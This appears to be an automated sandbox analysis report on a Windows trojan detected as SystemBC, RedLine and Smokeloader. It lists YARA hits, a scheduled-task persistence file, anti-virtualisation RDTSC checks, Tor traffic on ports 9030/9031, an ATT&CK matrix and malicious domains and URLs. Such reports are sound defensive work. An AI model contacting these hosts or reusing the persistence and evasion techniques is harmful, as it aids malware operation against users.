Source: unknown	HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.3:49691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.3:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.3:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.128.64.141:443 -> 192.168.2.3:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.3:49756 version: TLS 1.2

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Code function: 0_2_00403E30 CryptImportKey,CryptExportKey,CryptDestroyKey,

0_2_00403E30

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.3.p9CvI6kq7d.exe.680000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects SystemBC Author: ditekSHen
Source: 0.2.p9CvI6kq7d.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects SystemBC Author: ditekSHen
Source: 0.2.p9CvI6kq7d.exe.670e50.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects SystemBC Author: ditekSHen
Source: 1.3.orvsmwx.exe.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects SystemBC Author: ditekSHen
Source: 0.2.p9CvI6kq7d.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects SystemBC Author: ditekSHen
Source: 00000001.00000003.249872863.0000000000590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects SystemBC Author: ditekSHen
Source: 00000000.00000002.245017062.0000000000546000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects SystemBC Author: ditekSHen
Source: 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects SystemBC Author: ditekSHen

Source: p9CvI6kq7d.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.3.p9CvI6kq7d.exe.680000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 0.2.p9CvI6kq7d.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 0.2.p9CvI6kq7d.exe.670e50.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 1.3.orvsmwx.exe.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 0.2.p9CvI6kq7d.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 00000001.00000003.249872863.0000000000590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 00000000.00000002.245017062.0000000000546000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

File created: C:\Windows\Tasks\orvsmwx.job

Jump to behavior

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_0040CB7F		0_2_0040CB7F
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_0040B3FB		0_2_0040B3FB

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: String function: 00406EE2 appears 32 times
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: String function: 00406DF2 appears 32 times

Source: p9CvI6kq7d.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: orvsmwx.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: p9CvI6kq7d.exe	Virustotal: Detection: 80%
Source: p9CvI6kq7d.exe	ReversingLabs: Detection: 88%

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

File read: C:\Users\user\Desktop\p9CvI6kq7d.exe

Jump to behavior

Source: p9CvI6kq7d.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\p9CvI6kq7d.exe C:\Users\user\Desktop\p9CvI6kq7d.exe
Source: unknown	Process created: C:\ProgramData\prfxiau\orvsmwx.exe C:\ProgramData\prfxiau\orvsmwx.exe start

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/3@13/12

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Code function: 0_2_00405832 CoInitialize,CoCreateInstance,GetUserNameExW,GetLocalTime,SystemTimeToFileTime,FileTimeToSystemTime,CoUninitialize,

0_2_00405832

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Code function: 0_2_00405C22 CreateToolhelp32Snapshot,Process32First,CloseHandle,FindCloseChangeNotification,

0_2_00405C22

Source: C:\ProgramData\prfxiau\orvsmwx.exe	Mutant created: \BaseNamedObjects\orvsmwx
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Mutant created: \Sessions\1\BaseNamedObjects\orvsmwx

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Code function: 0_2_00412D7B _lopen,BuildCommDCBAndTimeoutsA,GetPriorityClass,SetConsoleMode,SizeofResource,

0_2_00412D7B

Source: p9CvI6kq7d.exe

String found in binary or memory: ip-address

Source: C:\ProgramData\prfxiau\orvsmwx.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\prfxiau\orvsmwx.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\prfxiau\orvsmwx.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Unpacked PE file: 0.2.p9CvI6kq7d.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Unpacked PE file: 0.2.p9CvI6kq7d.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Source: initial sample	Static PE information: section name: .text entropy: 7.3635971049801014
Source: initial sample	Static PE information: section name: .text entropy: 7.3635971049801014

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

File created: C:\ProgramData\prfxiau\orvsmwx.exe

Jump to dropped file

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

File created: C:\ProgramData\prfxiau\orvsmwx.exe

Jump to dropped file

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

File created: C:\Windows\Tasks\orvsmwx.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49753

May use the Tor software to hide its network traffic

Source: p9CvI6kq7d.exe, p9CvI6kq7d.exe, 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, p9CvI6kq7d.exe, 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: onion-port

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_0-6232

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

RDTSC instruction interceptor: First address: 0000000000406A32 second address: 0000000000406A32 instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 mov ebp, esp 0x00000005 push ebx 0x00000006 push ecx 0x00000007 push edx 0x00000008 push edi 0x00000009 push esi 0x0000000a imul eax, eax, 001E7319h 0x00000010 add eax, 3CFB5543h 0x00000015 rcr eax, 10h 0x00000018 add eax, ecx 0x0000001a test edx, edx 0x0000001c je 00007FEB705C3D95h 0x0000001e imul eax, edx 0x00000021 xor edx, edx 0x00000023 mul dword ptr [ebp+08h] 0x00000026 mov eax, edx 0x00000028 pop esi 0x00000029 pop edi 0x0000002a pop edx 0x0000002b pop ecx 0x0000002c pop ebx 0x0000002d leave 0x0000002e retn 0004h 0x00000031 lea ebx, dword ptr [eax+04h] 0x00000034 push 00000018h 0x00000036 call 00007FEB705C973Ah 0x0000003b rdtsc

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-6538

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe TID: 3728

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-6778

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Code function: 0_2_00406A32 rdtsc

0_2_00406A32

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-6256

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

API call chain: ExitProcess graph end node

graph_0-7341

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Code function: 0_2_00406A32 rdtsc

0_2_00406A32

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00406DF2 mov eax, dword ptr fs:[00000030h]	0_2_00406DF2
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_0067092B mov eax, dword ptr fs:[00000030h]	0_2_0067092B
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00677042 mov eax, dword ptr fs:[00000030h]	0_2_00677042
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00670D90 mov eax, dword ptr fs:[00000030h]	0_2_00670D90

Source: C:\ProgramData\prfxiau\orvsmwx.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\prfxiau\orvsmwx.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\prfxiau\orvsmwx.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\prfxiau\orvsmwx.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\prfxiau\orvsmwx.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\prfxiau\orvsmwx.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\prfxiau\orvsmwx.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Code function: GetLocaleInfoA,

0_2_0040C982

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Code function: 0_2_00405832 CoInitialize,CoCreateInstance,GetUserNameExW,GetLocalTime,SystemTimeToFileTime,FileTimeToSystemTime,CoUninitialize,

0_2_00405832

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Code function: 0_2_00405832 CoInitialize,CoCreateInstance,GetUserNameExW,GetLocalTime,SystemTimeToFileTime,FileTimeToSystemTime,CoUninitialize,

0_2_00405832

Binary or memory string: a2guard.exe

Stealing of Sensitive Information

Yara detected SystemBC

Source: Yara match	File source: 0.3.p9CvI6kq7d.exe.680000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.p9CvI6kq7d.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.p9CvI6kq7d.exe.670e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.orvsmwx.exe.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.p9CvI6kq7d.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.249872863.0000000000590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: p9CvI6kq7d.exe PID: 3184, type: MEMORYSTR

Remote Access Functionality

Yara detected SystemBC

Source: Yara match	File source: 0.3.p9CvI6kq7d.exe.680000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.p9CvI6kq7d.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.p9CvI6kq7d.exe.670e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.orvsmwx.exe.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.p9CvI6kq7d.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.249872863.0000000000590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: p9CvI6kq7d.exe PID: 3184, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	12 Native API	1 Scheduled Task/Job	1 Process Injection	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	12 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Scheduled Task/Job	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	Logon Script (Windows)	23 Software Packing	Security Account Manager	122 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Masquerading	NTDS	22 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Multi-hop Proxy	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Virtualization/Sandbox Evasion	LSA Secrets	11 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	2 Non-Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Process Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	113 Application Layer Protocol	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	1 Proxy	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
p9CvI6kq7d.exe	80%	Virustotal		Browse
p9CvI6kq7d.exe	88%	ReversingLabs	Win32.Trojan.RanumBot
p9CvI6kq7d.exe	100%	Avira	HEUR/AGEN.1209913
p9CvI6kq7d.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\prfxiau\orvsmwx.exe	100%	Avira	HEUR/AGEN.1209913
C:\ProgramData\prfxiau\orvsmwx.exe	100%	Joe Sandbox ML
C:\ProgramData\prfxiau\orvsmwx.exe	88%	ReversingLabs	Win32.Trojan.RanumBot

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.0.orvsmwx.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1209913	Download File
0.3.p9CvI6kq7d.exe.680000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.p9CvI6kq7d.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
0.2.p9CvI6kq7d.exe.670e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.0.p9CvI6kq7d.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1209913	Download File
1.3.orvsmwx.exe.590000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

Source	Detection	Scanner	Link
asdasd08.xyz	12%	Virustotal	Browse
ip4.seeip.org	1%	Virustotal	Browse
asdasd08.com	11%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://ip4.seeip.org/	0%	URL Reputation	safe
http://84.144.111.46/tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15	0%	Avira URL Cloud	safe
http://151.20.208.221/tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5	0%	Avira URL Cloud	safe
http://84.144.111.46/tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab	0%	Avira URL Cloud	safe
http://84.144.111.46/tor/server/fp/742091486d04734c57d97bcefb53d22ed0b77881	0%	Avira URL Cloud	safe
http://151.20.208.221/tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d	0%	Avira URL Cloud	safe
http://77.7.81.140/tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15	0%	Avira URL Cloud	safe
asdasd08.com	100%	Avira URL Cloud	malware
http://84.144.111.46/tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec	0%	Avira URL Cloud	safe
http://151.20.208.221/tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab	0%	Avira URL Cloud	safe
http://151.20.208.221/tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb	0%	Avira URL Cloud	safe
http://77.7.81.140/tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f	0%	Avira URL Cloud	safe
http://77.7.81.140/tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab	0%	Avira URL Cloud	safe
http://151.20.208.221/tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88	0%	Avira URL Cloud	safe
http://151.20.208.221/tor/server/fp/aacd4e09e65ba18caf35fbc855ef659505b36e9e	0%	Avira URL Cloud	safe
http://193.23.244.244/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://151.20.208.221/tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15	0%	Avira URL Cloud	safe
http://84.144.111.46/tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d	0%	Avira URL Cloud	safe
http://151.20.208.221/tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f	0%	Avira URL Cloud	safe
http://77.7.81.140/tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab	0%	Avira URL Cloud	safe
asdasd08.xyz	100%	Avira URL Cloud	malware
http://77.7.81.140/tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5	0%	Avira URL Cloud	safe
http://84.144.111.46/tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88	0%	Avira URL Cloud	safe
https://386bsd.net	0%	Avira URL Cloud	safe
http://84.144.111.46/tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5	0%	Avira URL Cloud	safe
http://77.7.81.140/tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88	0%	Avira URL Cloud	safe
http://84.144.111.46/tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f	0%	Avira URL Cloud	safe
